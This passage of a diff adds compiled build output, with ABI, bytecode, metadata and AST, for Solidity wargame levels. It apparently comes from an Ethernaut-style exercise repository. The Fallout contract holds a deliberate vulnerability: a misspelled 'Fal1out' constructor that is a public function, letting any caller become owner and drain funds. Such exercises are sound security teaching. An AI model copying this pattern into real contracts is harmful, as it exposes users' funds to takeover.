 0"},"value":"0"},"src":"545:30:78","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"514:61:78","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52410,"id":52431,"nodeType":"Return","src":"507:68:78"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"351:16:78","overrides":{"id":52407,"nodeType":"OverrideSpecifier","overrides":[],"src":"424:8:78"},"parameters":{"id":52406,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52403,"mutability":"mutable","name":"_instance","nameLocation":"384:9:78","nodeType":"VariableDeclaration","scope":52433,"src":"368:25:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52402,"name":"address","nodeType":"ElementaryTypeName","src":"368:15:78","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52405,"mutability":"mutable","name":"_player","nameLocation":"403:7:78","nodeType":"VariableDeclaration","scope":52433,"src":"395:15:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52404,"name":"address","nodeType":"ElementaryTypeName","src":"395:7:78","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"367:44:78"},"returnParameters":{"id":52410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52409,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52433,"src":"442:4:78","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52408,"name":"bool","nodeType":"ElementaryTypeName","src":"442:4:78","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"441:6:78"},"scope":52434,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52376,"name":"Level","nameLocations":["139:5:78"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"139:5:78"},"id":52377,"nodeType":"InheritanceSpecifier","src":"139:5:78"}],"canonicalName":"FallbackFactory","contractDependencies":[52371],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52434,55508,46700,48281],"name":"FallbackFactory","nameLocation":"120:15:78","scope":52435,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":78} \ No newline at end of file diff --git a/contracts/out/Fallout.sol/Fallout.json b/contracts/out/Fallout.sol/Fallout.json new file mode 100644 index 000000000..9802097f4 --- /dev/null +++ b/contracts/out/Fallout.sol/Fallout.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"Fal1out","inputs":[],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"allocate","inputs":[],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"allocatorBalance","inputs":[{"name":"allocator","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"collectAllocations","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"view"},{"type":"function","name":"sendAllocation","inputs":[{"name":"allocator","type":"address","internalType":"address payable"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b50610363806100206000396000f3fe6080604052600436106100655760003560e01c8063a2dea26f11610043578063a2dea26f146100ba578063abaa9916146100ed578063ffd40b56146100f557610065565b80636fab5ddf1461006a5780638aa96f38146100745780638da5cb5b14610089575b600080fd5b61007261013a565b005b34801561008057600080fd5b50610072610182565b34801561009557600080fd5b5061009e610210565b604080516001600160a01b039092168252519081900360200190f35b3480156100c657600080fd5b50610072600480360360208110156100dd57600080fd5b50356001600160a01b031661021f565b610072610285565b34801561010157600080fd5b506101286004803603602081101561011857600080fd5b50356001600160a01b03166102b1565b60408051918252519081900360200190f35b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101e1576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561020d573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461024157600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610281573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461029f90346102cc565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610326576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212209e969f523f5cded2a0ec4ac73949e2a42e972ecaee27417079a57a869b140c4b64736f6c634300060c0033","sourceMap":"112:908:6:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100655760003560e01c8063a2dea26f11610043578063a2dea26f146100ba578063abaa9916146100ed578063ffd40b56146100f557610065565b80636fab5ddf1461006a5780638aa96f38146100745780638da5cb5b14610089575b600080fd5b61007261013a565b005b34801561008057600080fd5b50610072610182565b34801561009557600080fd5b5061009e610210565b604080516001600160a01b039092168252519081900360200190f35b3480156100c657600080fd5b50610072600480360360208110156100dd57600080fd5b50356001600160a01b031661021f565b610072610285565b34801561010157600080fd5b506101286004803603602081101561011857600080fd5b50356001600160a01b03166102b1565b60408051918252519081900360200190f35b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101e1576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561020d573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461024157600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610281573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461029f90346102cc565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610326576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212209e969f523f5cded2a0ec4ac73949e2a42e972ecaee27417079a57a869b140c4b64736f6c634300060c0033","sourceMap":"112:908:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;270:109;;;:::i;:::-;;785:106;;;;;;;;;;;;;:::i;213:28::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;213:28:6;;;;;;;;;;;;;;617:162;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;617:162:6;-1:-1:-1;;;;;617:162:6;;:::i;495:116::-;;;:::i;897:121::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;897:121:6;-1:-1:-1;;;;;897:121:6;;:::i;:::-;;;;;;;;;;;;;;;;270:109;314:5;:18;;;;322:10;314:18;;;;;-1:-1:-1;;;;;354:5:6;-1:-1:-1;342:18:6;;;;;;;;;;363:9;342:30;;270:109::o;785:106::-;438:5;;-1:-1:-1;;;;;438:5:6;424:10;:19;416:55;;;;;-1:-1:-1;;;416:55:6;;;;;;;;;;;;;;;;;;;;;;;;;;;;842:42:::1;::::0;:10:::1;::::0;862:21:::1;842:42:::0;::::1;;;::::0;::::1;::::0;;;862:21;842:10;:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;785:106::o:0;213:28::-;;;-1:-1:-1;;;;;213:28:6;;:::o;617:162::-;-1:-1:-1;;;;;693:22:6;;718:1;693:22;;;;;;;;;;;685:35;;;;;;-1:-1:-1;;;;;730:18:6;;749:11;:22;;;;;;;;;;;;730:42;;;;;;;;749:11;730:42;749:22;730:18;:42;;;;;;;;;;;;;;;;;;;;;617:162;:::o;495:116::-;578:10;566:11;:23;;;;;;;;;;;:38;;594:9;566:27;:38::i;:::-;552:10;540:11;:23;;;;;;;;;;:64;495:116::o;897:121::-;-1:-1:-1;;;;;989:22:6;963:7;989:22;;;;;;;;;;;;897:121::o;2690:175:1:-;2748:7;2779:5;;;2802:6;;;;2794:46;;;;;-1:-1:-1;;;2794:46:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;2857:1;2690:175;-1:-1:-1;;;2690:175:1:o","linkReferences":{}},"methodIdentifiers":{"Fal1out()":"6fab5ddf","allocate()":"abaa9916","allocatorBalance(address)":"ffd40b56","collectAllocations()":"8aa96f38","owner()":"8da5cb5b","sendAllocation(address)":"a2dea26f"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"Fal1out\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"allocate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"allocator\",\"type\":\"address\"}],\"name\":\"allocatorBalance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"collectAllocations\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"allocator\",\"type\":\"address\"}],\"name\":\"sendAllocation\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Fallout.sol\":\"Fallout\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":{\"keccak256\":\"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c\",\"dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR\"]},\"src/levels/Fallout.sol\":{\"keccak256\":\"0x2e982b57baf6889d16f012c35657fd8898c867898b9e2684530bed9279d80226\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a1c0ad4f5d67fd2baf6236a3aadc2fa5692e50e1e9cf3476d2232105a901e94a\",\"dweb:/ipfs/QmWX29GgdzbbxN7777Tch6SpZiLccp5ce5NrYicvTLTPZL\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"payable","type":"function","name":"Fal1out"},{"inputs":[],"stateMutability":"payable","type":"function","name":"allocate"},{"inputs":[{"internalType":"address","name":"allocator","type":"address"}],"stateMutability":"view","type":"function","name":"allocatorBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"collectAllocations"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"address payable","name":"allocator","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"sendAllocation"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Fallout.sol":"Fallout"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":{"keccak256":"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52","urls":["bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c","dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR"],"license":"MIT"},"src/levels/Fallout.sol":{"keccak256":"0x2e982b57baf6889d16f012c35657fd8898c867898b9e2684530bed9279d80226","urls":["bzz-raw://a1c0ad4f5d67fd2baf6236a3aadc2fa5692e50e1e9cf3476d2232105a901e94a","dweb:/ipfs/QmWX29GgdzbbxN7777Tch6SpZiLccp5ce5NrYicvTLTPZL"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Fallout.sol","id":1046,"exportedSymbols":{"Fallout":[1045]},"nodeType":"SourceUnit","src":"32:989:6","nodes":[{"id":936,"nodeType":"PragmaDirective","src":"32:23:6","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":937,"nodeType":"ImportDirective","src":"57:53:6","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol","file":"openzeppelin-contracts-06/math/SafeMath.sol","scope":1046,"sourceUnit":465,"symbolAliases":[],"unitAlias":""},{"id":1045,"nodeType":"ContractDefinition","src":"112:908:6","nodes":[{"id":940,"nodeType":"UsingForDirective","src":"135:27:6","nodes":[],"libraryName":{"contractScope":null,"id":938,"name":"SafeMath","nodeType":"UserDefinedTypeName","referencedDeclaration":464,"src":"141:8:6","typeDescriptions":{"typeIdentifier":"t_contract$_SafeMath_$464","typeString":"library SafeMath"}},"typeName":{"id":939,"name":"uint256","nodeType":"ElementaryTypeName","src":"154:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},{"id":944,"nodeType":"VariableDeclaration","src":"168:39:6","nodes":[],"constant":false,"mutability":"mutable","name":"allocations","overrides":null,"scope":1045,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":943,"keyType":{"id":941,"name":"address","nodeType":"ElementaryTypeName","src":"176:7:6","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"168:27:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueType":{"id":942,"name":"uint256","nodeType":"ElementaryTypeName","src":"187:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"value":null,"visibility":"internal"},{"id":946,"nodeType":"VariableDeclaration","src":"213:28:6","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","overrides":null,"scope":1045,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":945,"name":"address","nodeType":"ElementaryTypeName","src":"213:15:6","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"public"},{"id":962,"nodeType":"FunctionDefinition","src":"270:109:6","nodes":[],"body":{"id":961,"nodeType":"Block","src":"304:75:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":949,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":946,"src":"314:5:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":950,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"322:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"322:10:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"314:18:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":953,"nodeType":"ExpressionStatement","src":"314:18:6"},{"expression":{"argumentTypes":null,"id":959,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":954,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"342:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":956,"indexExpression":{"argumentTypes":null,"id":955,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":946,"src":"354:5:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"342:18:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":957,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"363:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":null,"src":"363:9:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"342:30:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":960,"nodeType":"ExpressionStatement","src":"342:30:6"}]},"documentation":null,"functionSelector":"6fab5ddf","implemented":true,"kind":"function","modifiers":[],"name":"Fal1out","overrides":null,"parameters":{"id":947,"nodeType":"ParameterList","parameters":[],"src":"286:2:6"},"returnParameters":{"id":948,"nodeType":"ParameterList","parameters":[],"src":"304:0:6"},"scope":1045,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":974,"nodeType":"ModifierDefinition","src":"385:104:6","nodes":[],"body":{"id":973,"nodeType":"Block","src":"406:83:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"id":968,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":965,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"424:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":966,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"424:10:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":967,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":946,"src":"438:5:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"424:19:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"63616c6c6572206973206e6f7420746865206f776e6572","id":969,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"445:25:6","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_98821890c044d63947a93cf48b7df1f5a42f89e719dd7abbb581002b013b02f4","typeString":"literal_string \"caller is not the owner\""},"value":"caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_98821890c044d63947a93cf48b7df1f5a42f89e719dd7abbb581002b013b02f4","typeString":"literal_string \"caller is not the owner\""}],"id":964,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"416:7:6","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"416:55:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":971,"nodeType":"ExpressionStatement","src":"416:55:6"},{"id":972,"nodeType":"PlaceholderStatement","src":"481:1:6"}]},"documentation":null,"name":"onlyOwner","overrides":null,"parameters":{"id":963,"nodeType":"ParameterList","parameters":[],"src":"403:2:6"},"virtual":false,"visibility":"internal"},{"id":992,"nodeType":"FunctionDefinition","src":"495:116:6","nodes":[],"body":{"id":991,"nodeType":"Block","src":"530:81:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":977,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"540:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":980,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":978,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"552:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"552:10:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"540:23:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"id":986,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"594:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":987,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":null,"src":"594:9:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":981,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"566:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":984,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":982,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"578:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"578:10:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"566:23:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":985,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"add","nodeType":"MemberAccess","referencedDeclaration":291,"src":"566:27:6","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$bound_to$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":988,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"566:38:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"540:64:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":990,"nodeType":"ExpressionStatement","src":"540:64:6"}]},"documentation":null,"functionSelector":"abaa9916","implemented":true,"kind":"function","modifiers":[],"name":"allocate","overrides":null,"parameters":{"id":975,"nodeType":"ParameterList","parameters":[],"src":"512:2:6"},"returnParameters":{"id":976,"nodeType":"ParameterList","parameters":[],"src":"530:0:6"},"scope":1045,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1014,"nodeType":"FunctionDefinition","src":"617:162:6","nodes":[],"body":{"id":1013,"nodeType":"Block","src":"675:104:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1002,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":998,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"693:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1000,"indexExpression":{"argumentTypes":null,"id":999,"name":"allocator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":994,"src":"705:9:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"693:22:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":1001,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"718:1:6","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"693:26:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":997,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"685:7:6","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":1003,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"685:35:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1004,"nodeType":"ExpressionStatement","src":"685:35:6"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1008,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"749:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1010,"indexExpression":{"argumentTypes":null,"id":1009,"name":"allocator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":994,"src":"761:9:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"749:22:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"id":1005,"name":"allocator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":994,"src":"730:9:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 